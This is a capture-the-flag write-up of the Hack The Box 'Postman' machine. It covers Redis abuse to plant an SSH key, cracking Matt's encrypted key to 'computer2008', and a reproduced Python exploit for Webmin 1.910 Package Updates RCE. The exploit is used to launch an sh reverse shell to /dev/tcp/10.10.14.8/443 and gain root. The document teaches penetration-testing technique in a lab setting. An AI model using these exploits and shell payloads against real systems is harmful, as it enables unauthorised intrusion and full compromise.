Hack The Box: Postman Write-Up

postman-banner.png

Overview

This writeup documents the methods I used to compromise the Postman machine on the Hack The Box internal Labs network. These methods include enumerating the machine with nmap, as well as enumerating the Redis service. I will also detail how I used unauthenticated access to Redis to write an arbitrary file to the target host. Finally, I will demonstrate how I leveraged a public Webmin exploit to gain a root-level shell. Postman was an Easy-rated Linux box created by jkr, worth 20 points while it was active.

This was the second HTB machine I ever completed, but I was not keeping good notes at the time, so I didn't have enough documentation to complete the write-up. I have gone back and completed the box again which is why methodology is significantly better than some of the other early boxes.


Kill Chain

Enumeration

I began this machine by using Nmap to run a full TCP port scan against the target host.

While executing Nmap, I used the -vv flag to display more verbose output, -p- to scan the entire range of potential TCP ports, -sS to use TCP SYN scanning, -T4 to set the timing template to the second fastest option, and --max-retries 0 to prevent any port scan probe retransmissions in order to help speed up the scan.

        
nmap -vv -p- -sS -T4 --max-retries 0 -oN _aggresite_tcp_nmap.txt 10.10.10.160
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-10 15:20 EST
Initiating Ping Scan at 15:20
Scanning 10.10.10.160 [4 ports]
Completed Ping Scan at 15:20, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:20
Completed Parallel DNS resolution of 1 host. at 15:20, 0.01s elapsed
Initiating SYN Stealth Scan at 15:20
Scanning 10.10.10.160 [65535 ports]
Discovered open port 22/tcp on 10.10.10.160
Discovered open port 80/tcp on 10.10.10.160
Warning: 10.10.10.160 giving up on port because retransmission cap hit (0).
Discovered open port 6379/tcp on 10.10.10.160
Discovered open port 10000/tcp on 10.10.10.160
Completed SYN Stealth Scan at 15:20, 13.16s elapsed (65535 total ports)
Nmap scan report for 10.10.10.160
Host is up, received echo-reply ttl 63 (0.030s latency).
Scanned at 2021-03-10 15:20:20 EST for 13s
Not shown: 65510 closed ports
Reason: 65510 resets
PORT      STATE    SERVICE          REASON
22/tcp    open     ssh              syn-ack ttl 63
80/tcp    open     http             syn-ack ttl 63
4933/tcp  filtered unknown          no-response
6379/tcp  open     redis            syn-ack ttl 63
10000/tcp open     snet-sensor-mgmt syn-ack ttl 63
13139/tcp filtered unknown          no-response
19153/tcp filtered unknown          no-response
22110/tcp filtered unknown          no-response
22142/tcp filtered unknown          no-response
23924/tcp filtered unknown          no-response
24411/tcp filtered unknown          no-response
25650/tcp filtered unknown          no-response
30882/tcp filtered unknown          no-response
36445/tcp filtered unknown          no-response
36663/tcp filtered unknown          no-response
38255/tcp filtered unknown          no-response
42634/tcp filtered unknown          no-response
43678/tcp filtered unknown          no-response
46394/tcp filtered unknown          no-response
51285/tcp filtered unknown          no-response
53404/tcp filtered unknown          no-response
56368/tcp filtered unknown          no-response
60155/tcp filtered unknown          no-response
60457/tcp filtered unknown          no-response
62661/tcp filtered unknown          no-response

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds
           Raw packets sent: 65539 (2.884MB) | Rcvd: 65515 (2.621MB)
        
    

Reviewing the scan results informed me that there were four open ports detected. Nmap was guessing that an SSH service was running on tcp/22, an HTTP service on tcp/80, a redis service on tcp/6379, and a snet-sensor-mgmt service on tcp/10000.

In order to gather more information about each of these open ports and their listening services, I decided to target them with nmap service script scans. The first port I targeted was tcp/22. Since I already knew the host was up and listening, I added the -Pn flag to skip Host checks. I also added the --reason flag to have nmap report the reason a port was reported to be in a certain state, the -sV flag to probe the port to determine service/version information, -p 22 to define the single port to be scanned, and the --script flag to declare which nmap scripts should be run.

        
nmap --reason -Pn -sV -p 22 --script="banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods" -oN scans/tcp_22_ssh_nmap.txt 10.10.10.160
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-10 15:33 EST
Nmap scan report for 10.10.10.160
Host is up, received user-set (0.017s latency).

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
| ssh-auth-methods:
|   Supported authentication methods:
|     publickey
|_    password
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
| ssh2-enum-algos:
|   kex_algorithms: (10)
|       curve25519-sha256
|       curve25519-sha256@libssh.org
|       ecdh-sha2-nistp256
|       ecdh-sha2-nistp384
|       ecdh-sha2-nistp521
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group16-sha512
|       diffie-hellman-group18-sha512
|       diffie-hellman-group14-sha256
|       diffie-hellman-group14-sha1
|   server_host_key_algorithms: (5)
|       ssh-rsa
|       rsa-sha2-512
|       rsa-sha2-256
|       ecdsa-sha2-nistp256
|       ssh-ed25519
|   encryption_algorithms: (6)
|       chacha20-poly1305@openssh.com
|       aes128-ctr
|       aes192-ctr
|       aes256-ctr
|       aes128-gcm@openssh.com
|       aes256-gcm@openssh.com
|   mac_algorithms: (10)
|       umac-64-etm@openssh.com
|       umac-128-etm@openssh.com
|       hmac-sha2-256-etm@openssh.com
|       hmac-sha2-512-etm@openssh.com
|       hmac-sha1-etm@openssh.com
|       umac-64@openssh.com
|       umac-128@openssh.com
|       hmac-sha2-256
|       hmac-sha2-512
|       hmac-sha1
|   compression_algorithms: (2)
|       none
|_      zlib@openssh.com
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.49 seconds
        
    

The SSH script scan results identified the service as OpenSSH running on Ubuntu. I also learned that the SSH server accepted password authentication in addition to using an SSH key.

The next scan I ran was HTTP scripts against tcp/80. I updated the -script flag to define the appropriate scripts then ran the scan.

        
nmap --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN scans/tcp_80_http_nmap.txt 10.10.10.160

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-10 15:37 EST
Nmap scan report for 10.10.10.160
Host is up, received user-set (0.020s latency).

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-chrono: Request times for /; avg: 290.07ms; min: 242.16ms; max: 326.30ms
| http-comments-displayer:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.160
|…
|…
|     Path: http://10.10.10.160:80/js/bootstrap.js
|     Line number: 1588
|     Comment:
|_         // up
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-date: Wed, 10 Mar 2021 20:48:53 GMT; +11m09s from local time.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-errors: Couldn't find any error pages.
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
|_http-feed: Couldn't find any feeds.
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-headers:
|   Date: Wed, 10 Mar 2021 20:48:52 GMT
|   Server: Apache/2.4.29 (Ubuntu)
|   Last-Modified: Sun, 25 Aug 2019 18:34:23 GMT
|   ETag: "f04-590f549ce0d74"
|   Accept-Ranges: bytes
|   Content-Length: 3844
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|
|_  (Request type: HEAD)
| http-internal-ip-disclosure:
|_  Internal IP Leaked: 127.0.1.1
|_http-malware-host: Host appears to be clean
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-mobileversion-checker: No mobile version detected.
| http-referer-checker:
| Spidering limited to: maxpagecount=30
|   https://oss.maxcdn.com:443/libs/html5shiv/3.7.0/html5shiv.js
|_  https://oss.maxcdn.com:443/libs/respond.js/1.4.2/respond.min.js
|_http-security-headers:
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-sitemap-generator:
|   Directory structure:
|     /
|       Other: 1; css: 1; html: 1
|     /css/
|       css: 5
|     /icons/
|       gif: 2
|     /images/
|       ico: 1; png: 1
|     /js/
|       Other: 1; js: 5
|   Longest directory structure:
|     Depth: 1
|     Dir: /css/
|   Total files found (by extension):
|_    Other: 2; css: 6; gif: 2; html: 1; ico: 1; js: 5; png: 1
| http-sql-injection:
|   Possible sqli for queries:
|     http://10.10.10.160:80/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|_    http://10.10.10.160:80/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: The Cyber Geek's Personal Website
| http-traceroute:
|_  Possible reverse proxy detected.
| http-useragent-tester:
|   Status for browser useragent: 200
|   Allowed User Agents:
|     Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
|     libwww
|     lwp-trivial
|     libcurl-agent/1.0
|     PHP/
|     Python-urllib/2.5
|     GT::WWW
|     Snoopy
|     MFC_Tear_Sample
|     HTTP::Lite
|     PHPCrawl
|     URI::Fetch
|     Zend_Http_Client
|     http client
|     PECL::HTTP
|     Wget/1.13.4 (linux-gnu)
|_    WWW-Mechanize/1.34
| http-vhosts:
|_128 names had status 200

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.47 seconds
        
    

The results of this scan confirmed that the service was an HTTP server, and specifically identified it as Apache httpd 2.4.29. The majority of the comments appeared to be comments in JS or CSS files and did not seem relevant after a quick review. I did notice that the folders /image/ and /upload/ were detected on the target host. I also noted that the internal IP address 127.0.1.1 was detected as well.

As a follow-up to the nmap scans of the HTTP server, I performed a quick review of the web page being hosted on tcp/80. As always, all interaction I performed with the site through a web browser I ensured was proxied through Burp Suite.

postman-1.png

The page appeared to be static, and it did not appear to have any additional functionality beyond the Under Construction landing page. I also took a look at the Target Site Map in Burp Suite after running a crawl, which appeared to confirm that there were no other interesting paths at this location.

postman-2.png

The next nmap script scans that I ran were redis scripts against tcp/6379. I updated the --script declaration and ran the scan.

        
nmap --reason -Pn -sV -p 6379 --script="redis*" -oN scans/tcp_6379_redis_nmap.txt 10.10.10.160
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-10 16:44 EST
Nmap scan report for 10.10.10.160
Host is up, received user-set (0.017s latency).

PORT     STATE SERVICE REASON         VERSION
6379/tcp open  redis   syn-ack ttl 63 Redis key-value store 4.0.9 (64 bits)
|_redis-info: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
        
    

The results of this scan confirmed that the redis service was listening on tcp/6379, and also informed me that the detected version was Redis 4.0.9.

Since I had an exact version number, I decided to quickly check if there were any glaring vulnerabilities for this particular service. The first place I looked for exploit information was Exploit-DB.

        
searchsploit redis
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
Redis - Replication Code Execution (Metasploit)                                       | linux/remote/48272.rb
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)                         | linux/remote/47195.rb
Redis 5.0 - Denial of Service                                                         | linux/dos/44908.txt
Redis-cli < 5.0 - Buffer Overflow (PoC)                                               | linux/local/44904.py
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
        
    

I opened the Redis - Replication Code Execution entry with searchsploit -x. While I did not want to use Metasploit to exploit any vulnerabilities in this box, I did want to review the code to see what the exploit was doing. The file contained a references section that included a link to this zeronights.ru PDF detailing a rogue server replication exploit. Since the PDF seemed to fairly detailed, I made a note of the link and performed a web search for redis replication rce site:github.com, which resulted in finding n0b0dyCN's redis-rogue-server repository.

I downloaded both the exploit exp.so file and the redis-rogue-server.py PoC, checked the required execution flags, then executed the PoC. While I was able to connect to the redis service and it even appeared to stage the required modules, I was unable to get an interactive or reverse shell.

postman-3.png

Since a quick dive into the Redis service proved unfruitful, I decided to finish enumerating the last open port before dedicating any more time to enumerating Redis.

Since the initial nmap scan had reported a very vague name for the service listening on tcp/10000 I attempted to manually investigate the service banner by connecting to the port with nc.

        
nc -nv 10.10.10.160 10000
(UNKNOWN) [10.10.10.160] 10000 (webmin) open
        
    

The service banner reported back that the listening service was webmin. From experience I knew that webmin does listen on tcp/10000 by default, so attempted to connect to the resource though my browser which confirmed it.

postman-4.png

Since I didn't care about making noise in the HTB environment, I ran an Intruder attack with Burp, but I was blocked/banned after about 4 attempts.

postman-5.png

While investigating the body of the 403 response returned after I was blocked, I saw that the <title> tag was leaking both the Webmin version of 1.910 and the Ubuntu version of 18.04.3.

postman-6.png

I checked Exploit-DB for any exploits matching Webmin 1.910 but found no results.

redis User Compromise

Due to the block/ban being issued on the Webmin authentication page, I deprioritized the Webmin service for the time being. I knew that this service could provide easy code execution but that it would most likely require valid access credentials to take advantage of. I also knew that without valid credentials or a private SSH key I wouldn't be able to leverage the SSH server to my advantage either. I had also deprioritized the website hosted on tcp/80 due to it being a single static page without any interactive functionality.

This left the redis service as the one I wanted to initially direct my focus on. From previous experience with redis I knew that it could contain valuable information cached in the configuration or in keys. In order to check for this type of information, and to develop an understanding of the redis environment on this machine, I connected to redis with nc and began enumerating the service using commands such as INFO. The output from INFO provided me with information such as the redis_version, OS kernel version, OS architecture, and the redis config_file location.

postman-7.png

Next I dumped the redis config information using the command CONFIG GET *.

postman-8.png

In this config dump I saw that the redis user SSH folder was referenced at path /var/lib/redis/.ssh. A quick web search for redis ssh resulted in finding this HackTricks section detailing how to write an arbitrary SSH key to the redis id_rsa file.

To prepare for the attack I generated a new SSH key using ssh-keygen. I used -t to specify the key type should be RSA and -f to specify the file name and path for the new key.

        
ssh-keygen -t rsa -f ./exploit/postman_id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./exploit/postman_id_rsa
Your public key has been saved in ./exploit/postman_id_rsa.pub
        
    

Next I wrote the newly generated public key to the text file postman_pub.txt.

        
(echo -e "\n\n"; cat ./exploit/postman_id_rsa.pub; echo -e "\n\n") > exploit/postman_pub.txt
        
    

I also had to install redis-tools using the package manager in order to get this next step to work. I had initially attempted it using nc, but the SET command was not properly executing on the redis server.
Using redis-cli, I used the SET command to write postman_pub.txt to the crackit key.

        
cat exploit/postman_pub.txt| redis-cli -h 10.10.10.160 -x set crackit
OK
        
    

With the public key saved as a key on redis, I then connected to redis, set my working directory to /var/lib/redis/.ssh, and saved the current redis database as authorized_keys.

        
redis-cli -h 10.10.10.160
        
    
        
config set dir /var/lib/redis/.ssh
OK
config set dbfilename "authorized_keys"
OK
save
OK
        
    

With the authorized_keys file written, I was then able to log in to the target host as user redis.

        
ssh -i exploit/postman_id_rsa redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$
        
    

root User Compromise

Now that I had a foothold on the target host I began looking around manually. I saw that there was only a home path for user Matt, and the user.txt flag was located there. I also saw that SimpleHTTPPutServer.py was located in /var/www/ and was owned by user Matt, however it did not appear to be immediately useful.

        
la -R /home/
/home/:
total 4.0K
drwxr-xr-x 6 Matt Matt 4.0K Sep 11  2019 Matt

/home/Matt:
total 44K
-rw------- 1 Matt Matt 1.7K Sep 11  2019 .bash_history
-rw-r--r-- 1 Matt Matt  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 Matt Matt 3.7K Aug 25  2019 .bashrc
drwx------ 2 Matt Matt 4.0K Aug 25  2019 .cache
drwx------ 3 Matt Matt 4.0K Aug 25  2019 .gnupg
drwxrwxr-x 3 Matt Matt 4.0K Aug 25  2019 .local
-rw-r--r-- 1 Matt Matt  807 Aug 25  2019 .profile
-rw-rw-r-- 1 Matt Matt   66 Aug 26  2019 .selected_editor
drwx------ 2 Matt Matt 4.0K Aug 26  2019 .ssh
-rw-rw---- 1 Matt Matt   33 Apr  5 20:48 user.txt
-rw-rw-r-- 1 Matt Matt  181 Aug 25  2019 .wget-hsts
ls: cannot open directory '/home/Matt/.cache': Permission denied
ls: cannot open directory '/home/Matt/.gnupg': Permission denied

/home/Matt/.local:
total 4.0K
drwx------ 3 Matt Matt 4.0K Aug 25  2019 share
ls: cannot open directory '/home/Matt/.local/share': Permission denied
ls: cannot open directory '/home/Matt/.ssh': Permission denied
la /var/www
total 12K
drwxr-xr-x 7 root root 4.0K Aug 26  2019 html
-rw-r--r-- 1 root root   22 Aug 25  2019 nikto-test-pFTYNhZX.html
-rw-rw-r-- 1 Matt Matt  482 Aug 25  2019 SimpleHTTPPutServer.py
        
    

I spent a few minutes listing various directory contents. Since the /opt directory is often used for programs installed independently of the package manager, I included listing it's contents in my enumeration. I was surprised to see that the only file the directory contained appeared to be an SSH key backup based on it's name of id_rsa.bak.

        
la /opt
total 4.0K
-rwxr-xr-x 1 Matt Matt 1.8K Aug 26  2019 id_rsa.bak
        
    

When I echoed out the file contents with cat I realized that the key was encrypted and would need to be cracked prior to use.

        
cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
        
    

I saved the contents of id_rsa.bak locally on my Kali machine, used the ssh2john.py script to generate a hash compatible with JtR, then used John the Ripper and the rockyou.txt wordlist to crack the hash. By default you must reference the full path to the script (/usr/share/john/ssh2john.py) in Kali. Since I kept forgetting the path, I added aliases like alias ssh2john.py=/usr/share/john/ssh2john.py to my environment.

        
ssh2john.py loot/id_matt.bak > loot/matt.hash
john --wordlist=/usr/share/wordlists/rockyou.txt loot/matt.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 6 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_matt)
1g 0:00:00:05 DONE (2021-04-05 17:06) 0.1779g/s 2551Kp/s 2551Kc/s 2551KC/s     1990..*7¡Vamos!
Session completed
        
    

With the RSA key successfully cracked, I updated the key file permissions to 0600 then attempted to SSH in to the target host as user Matt, using the key password computer2008.

        
chmod 0600 loot/id_matt
ssh -i loot/id_matt Matt@10.10.10.160
Enter passphrase for key 'loot/id_matt':
Connection closed by 10.10.10.160 port 22
        
    

Even with the private key password I was unable to successfully authenticate as user Matt over SSH. Since I knew I had a password that had been used by user Matt before, I started thinking about where I could potentially reuse it. I remembered that I had identified the authentication portal for the webmin service earlier in my enumeration. I tested authenticating to the portal with the Matt:computer2008 credentials and was successful.

postman-10.png

Now that I had authenticated access to webmin, I searched Exploit-DB for any relevant exploits again, using the version of 1.910 that I had detected via the 403 response to my earlier Intruder attack. The search returned two potential exploits.

        
searchsploit webmin 1.910
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
 -------------------------------------------------------------------------------------- ---------------------------------
 Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)                | linux/remote/46984.rb
 Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)                         | linux/webapps/47330.rb
 -------------------------------------------------------------------------------------- ---------------------------------
 Shellcodes: No Results
        
    

I decided to begin by researching the 'Package Updates' RCE because it was an exact match to the version running on the target host. Since I didn't want to use Metasploit, I searched for webmin 1.910 rce site:github.com and found this alternative Python PoC.

    
#!/usr/bin/python3

import urllib3, base64
import requests, sys
from optparse import OptionParser
from urllib.parse import quote

class minPwn:
    def __init__(self, baseurl, username, password, cmd):
        self.baseurl = baseurl
        self.username = username
        self.password = password
        self.cmd = cmd
        self.session = requests.Session()

    def login(self):
        print("\033[94m[*]\033[0m Attempting to login...")
        self.session.cookies["testing"] = "1"
        postdata = {'page' : '', 'user' : self.username, 'pass' : self.password}
        url = self.baseurl+"/session_login.cgi"
        res = self.session.post(url, data=postdata, verify=False,allow_redirects=False)
        
        if res.status_code != 302 or self.session.cookies["sid"] == None:
            print("\033[91m[-]\033[0m Login error")
            sys.exit()

    def exploit(self):
        print("\033[94m[*]\033[0m Exploiting...")
        url = self.baseurl+"/proc/index_tree.cgi"
        headers = {'Referer' :  f"{self.baseurl}/sysinfo.cgi?xnavigation=1"}
        self.session.cookies["redirect"] = "1"
        self.session.cookies["testing"] = "1"
        res = self.session.post(url, headers=headers, verify=False, allow_redirects=False)
    
        if res.status_code != 200:
            print("\033[91m[-]\033[0m Request failed")
            sys.exit()

    def exec(self):
        print("\033[94m[*]\033[0m Executing payload...")
        b64 = base64.b64encode(self.cmd.encode('utf-8'))
        cmd = "bash -c 'echo {} | base64 -d | bash'".format(b64.decode('utf-8'))
        cmd = quote(cmd)
        url = self.baseurl+"/package-updates/update.cgi"
        headers = {'Content-Type' : 'application/x-www-form-urlencoded', 'Referer': f"{self.baseurl}/package-updates/?xnavigation=1"}
        data=f"u=acl%2Fapt&u=%20%7C%20{cmd}&ok_top=Update+Selected+Packages"
        res = self.session.post(url, headers=headers, data=data, verify=False, allow_redirects=False)
       
        if res.status_code != 200:
            print("\033[91m[-]\033[0m Exploit failed")
            sys.exit()

    def pwn(self):
        self.login()
        self.exploit()
        self.exec()

if __name__ == "__main__":
    parser = OptionParser("usage: %prog -u https://example.com -p 10000 -U username -P password -c command")
    parser.add_option("-u", "--url", dest="url", type="string", help="target url")
    parser.add_option("-p", "--port", dest="port", default="10000", type="string", help="target port")
    parser.add_option("-U", "--user", dest="user", type="string", help="username")
    parser.add_option("-P", "--password", dest="passwd", type="string", help="password")
    parser.add_option("-c", "--cmd", dest="cmd", type="string", help="command to be executed")

    (options, args) = parser.parse_args()

    if not options.url:    
        parser.error("Please provide a target url")

    if not options.user or not options.passwd:
        parser.error("Please provide username and password for Webmin authentication")

    if not options.cmd:
        parser.error("Please provide a comand to execute")

    baseurl = options.url + ':' + options.port

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    pwn = minPwn(baseurl, options.user, options.passwd, options.cmd)
    pwn.pwn()
    

In order to test for successful code execution on the host, I used tcpdump on my Kali machine to listen for icmp packets on the HTB VPN tun0 interface, then I executed exploit.py with the required variables.

        
tcpdump -i tun0 icmp && python3 exploit.py -u https://10.10.10.160 -p 10000 -U Matt -P computer2008 -c 'ping 10.10.14.8'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
[*] Attempting to login...
[*] Exploiting...
[*] Executing payload...
17:40:46.591247 IP 10.10.10.160 > 10.10.14.8: ICMP echo request, id 1217, seq 260, length 64
17:40:46.591263 IP 10.10.14.8 > 10.10.10.160: ICMP echo reply, id 1217, seq 260, length 64
17:40:47.591125 IP 10.10.10.160 > 10.10.14.8: ICMP echo request, id 1217, seq 261, length 64
17:40:47.591141 IP 10.10.14.8 > 10.10.10.160: ICMP echo reply, id 1217, seq 261, length 64
17:40:48.593421 IP 10.10.10.160 > 10.10.14.8: ICMP echo request, id 1217, seq 262, length 64
17:40:48.593438 IP 10.10.14.8 > 10.10.10.160: ICMP echo reply, id 1217, seq 262, length 64
17:40:49.593254 IP 10.10.10.160 > 10.10.14.8: ICMP echo request, id 1217, seq 263, length 64
17:40:49.593281 IP 10.10.14.8 > 10.10.10.160: ICMP echo reply, id 1217, seq 263, length 64
^C
8 packets captured
8 packets received by filter
0 packets dropped by kernel
        
    

With RCE confirmed, I updated the payload to an sh reverse shell, started a nc listener on tcp/443, and executed the exploit PoC again.

        
python3 exploit.py -u https://10.10.10.160 -p 10000 -U Matt -P computer2008 -c 'sh -i >& /dev/tcp/10.10.14.8/443 0>&1'

[*] Attempting to login...
[*] Exploiting...
[*] Executing payload...
        
    

I checked my nc listener and saw that it had caught the reverse shell. I checked my user context and saw that I had a root shell. I was then able to dump both the root.txt flag from /root and the user.txt flag from /home/Matt.

        
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.160] 36550
sh: 0: can't access tty; job control turned off
#
        
    
        
id
uid=0(root) gid=0(root) groups=0(root)
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b9:17:39 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.160/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:1739/64 scope global dynamic mngtmpaddr
       valid_lft 86122sec preferred_lft 14122sec
    inet6 fe80::250:56ff:feb9:1739/64 scope link
       valid_lft forever preferred_lft forever
hostname
Postman